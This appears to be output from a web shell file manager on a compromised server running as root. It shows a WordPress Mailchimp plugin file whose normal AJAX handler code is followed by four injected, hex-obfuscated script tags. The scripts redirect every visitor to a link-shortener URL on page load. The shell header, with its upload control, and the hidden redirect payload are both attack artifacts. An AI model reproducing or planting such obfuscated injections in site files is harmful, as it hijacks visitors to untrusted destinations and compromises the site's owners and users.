HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/somonline.org/wp-content/plugins/mailchimp-for-wp/includes/admin/class-admin-ajax.php
<?php

class MC4WP_Admin_Ajax {

	/**
	 * @var MC4WP_Admin_Tools
	 */
	protected $tools;

	/**
	 * MC4WP_Admin_Ajax constructor.
	 *
	 * @param MC4WP_Admin_Tools $tools
	 */
	public function __construct( MC4WP_Admin_Tools $tools ) {
		$this->tools = $tools;
	}

	/**
	 * Hook AJAX actions
	 */
	public function add_hooks() {
		add_action( 'wp_ajax_mc4wp_renew_mailchimp_lists', array( $this, 'refresh_mailchimp_lists' ) );
		add_action( 'wp_ajax_mc4wp_get_list_details', array( $this, 'get_list_details' ) );
	}

	/**
	 * Empty lists cache & fetch lists again.
	 */
	public function refresh_mailchimp_lists() {
		if ( ! $this->tools->is_user_authorized() ) {
			wp_send_json_error();
			return;
		}

		check_ajax_referer( 'mc4wp-ajax' );

		$mailchimp = new MC4WP_MailChimp();
		$success   = $mailchimp->refresh_lists();
		wp_send_json( $success );
	}

	/**
	 * Retrieve details (merge fields and interest categories) for one or multiple lists in Mailchimp
	 * @throws MC4WP_API_Exception
	 */
	public function get_list_details() {
		if ( ! $this->tools->is_user_authorized() ) {
			wp_send_json_error();
			return;
		}

		$list_ids  = (array) explode( ',', $_GET['ids'] );
		$data      = array();
		$mailchimp = new MC4WP_MailChimp();
		foreach ( $list_ids as $list_id ) {
			$merge_fields        = $mailchimp->get_list_merge_fields( $list_id );
			$interest_categories = $mailchimp->get_list_interest_categories( $list_id );
			$data[]              = (object) array(
				'id'                  => $list_id,
				'merge_fields'        => $merge_fields,
				'interest_categories' => $interest_categories,
			);
		}
		wp_send_json( $data );
	}
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>